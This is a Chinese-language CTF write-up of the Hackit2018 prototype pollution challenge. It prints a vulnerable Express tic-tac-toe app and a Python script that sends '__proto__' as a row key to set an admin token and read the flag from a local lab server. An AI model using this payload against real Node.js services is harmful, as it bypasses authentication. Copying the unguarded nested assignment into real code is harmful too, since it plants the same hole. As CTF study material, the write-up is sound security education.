目錄
準(zhǔn)備工作
解題
代碼審計
Payload
準(zhǔn)備工作
????????將這道題所需依賴模塊都安裝好后
? ? ? ? ?運行一下,然后可以試著訪問一下,報錯是因為里面沒內(nèi)容而已,不影響,準(zhǔn)備工作就做好了
解題
代碼審計
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
var matrix = [];
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
function draw(mat) {
var count = 0;
for (var i = 0; i < 3; i++){
for (var j = 0; j < 3; j++){
if (matrix[i][j] !== null){
count += 1;
}
}
}
return count === 9;
}
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
app.get('/', (req, res) => {
for (var i = 0; i < 3; i++){
matrix[i] = [null , null, null];
}
res.render('index');
})
app.get('/admin', (req, res) => {
/*this is under development I guess ??*/
console.log(user.admintoken);
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
else {
res.status(403).send('Forbidden');
}
}
)
app.post('/api', (req, res) => {
var client = req.body;
var winner = null;
if (client.row > 3 || client.col > 3){
client.row %= 3;
client.col %= 3;
}
matrix[client.row][client.col] = client.data;
for(var i = 0; i < 3; i++){
if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){
if (matrix[i][0] === 'X') {
winner = 1;
}
else if(matrix[i][0] === 'O') {
winner = 2;
}
}
if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){
if (matrix[0][i] === 'X') {
winner = 1;
}
else if(matrix[0][i] === 'O') {
winner = 2;
}
}
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){
winner = 1;
}
if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){
winner = 2;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){
winner = 1;
}
if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){
winner = 2;
}
if (draw(matrix) && winner === null){
res.send(JSON.stringify({winner: 0}))
}
else if (winner !== null) {
res.send(JSON.stringify({winner: winner}))
}
else {
res.send(JSON.stringify({winner: -1}))
}
})
app.listen(3000, () => {
console.log('app listening on port 3000!')
})
關(guān)鍵代碼
if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){
res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');
}
可以看到flag就在這個if里面,想要進來就需要請求的query.querytoken等于md5編碼后的user.admintoken
但是縱觀全文,根本就沒有admintoken這個值,所以就需要我們原型鏈污染一下
?解題關(guān)鍵就在這里,將請求體里面的row,col,data都是我們post傳進去的可控的
Payload
?文章來源:http://www.zghlxwxcb.cn/news/detail-670156.html
import requests
import json
url1 = "http://127.0.0.1:3000/api"
url2 = "http://127.0.0.1:3000/admin?querytoken=c6393918b7bfdb774faa34d75e56c4cd"
headers = {"Content-Type" : "application/json"}
data1 = {"row":"__proto__","col":"admintoken","data":"oogalxy"}
res1 = requests.post(url1,headers = headers,data = json.dumps(data1))
res2 = requests.get(url2)
print(res2.text)
說明:/api和/admin進的地方不一樣headers是為了能讓服務(wù)器讀懂json格式
把data轉(zhuǎn)成json格式,要不然__proto__不是屬性
?這個比之前那個簡單一些,只是我想拿burpsuite復(fù)現(xiàn)遇到了點阻礙,回去研究一下文章來源地址http://www.zghlxwxcb.cn/news/detail-670156.html
到了這里,關(guān)于【安全】原型鏈污染 - Hackit2018的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!